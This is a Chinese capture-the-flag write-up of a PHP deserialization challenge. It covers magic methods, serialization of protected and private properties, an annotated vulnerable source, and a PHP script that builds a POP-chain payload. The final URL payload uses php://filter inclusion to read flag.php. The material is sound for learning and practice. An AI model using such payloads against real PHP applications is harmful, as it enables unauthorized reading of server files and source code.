前言
简单题但是自己做了挺久的。。,不过途中找到了好像是出题大佬的博客:https://ieki.xyz/
前置知识
①伪协议
php://filter/read=convert.base64-encode/resource=index.php
②php的魔术方法
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__sleep() //执行serialize时调用
__wakeup() //执行unserialize时调用
__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
以上的魔术方法调用情况要熟记于心!!!
③public、protected、private在序列化后的不同点
区别只在于对变量名添加了标记:
public无标记,变量名不变,长度不变: s:2:“op”;i:2;
protected在变量名前添加标记\00*\00,长度+3: s:5:"\00*\00op";i:2;
private在变量名前添加标记\00(classname)\00,长度+2+类名长度: s:17:"\00FileHandler_Z\00op";i:2;
总结+注意在url中是需要修改的:
public:不需要修改
protected:%00*%00属性名
private:%00类名%00属性名
解题过程
有源码且思路如下:
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);//10、直接文件包含,使用伪协议filter输出即可
}
public function __invoke(){//8、由__get调用
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){//4、由__wakeup调用
return $this->str->source;
//5、由于source是自身,加入令str是Test的一个对象,就能调用Test中的__get函数
}
//2、突破口,__wakeup函数可以在反序列化是就自动调用,所以传入Show对象
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
//3、这里将source变量当成了字符串,我们可以令source是自己本身(即一个对象),这样就能调用__toString
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){//6、由__toString调用
$function = $this->p;
//7、注意到这里可以动态调用函数,所有令p为Modifier的一个对象,就能调用Modifier的__invoke函数
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);//1、可以get传参
}
else{
$a=new Show;
highlight_file(__FILE__);
}
反序列化payload:
<?php
class Modifier {
protected $var="php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$m=new Modifier;
$s=new Show;
$t=new Test;
$s->source=$s;
$s->str=$t;
$t->p=$m;
echo(serialize($s));
?>
构造:?pop=O:4:“Show”:2:{s:6:“source”;r:1;s:3:“str”;O:4:“Test”:1:{s:1:“p”;O:8:“Modifier”:1:{s:6:"%00*%00var";s:52:“php://filter/convert.base64-encode/resource=flag.php”;}}}
总结
学习永无止境o(╥﹏╥)o!!!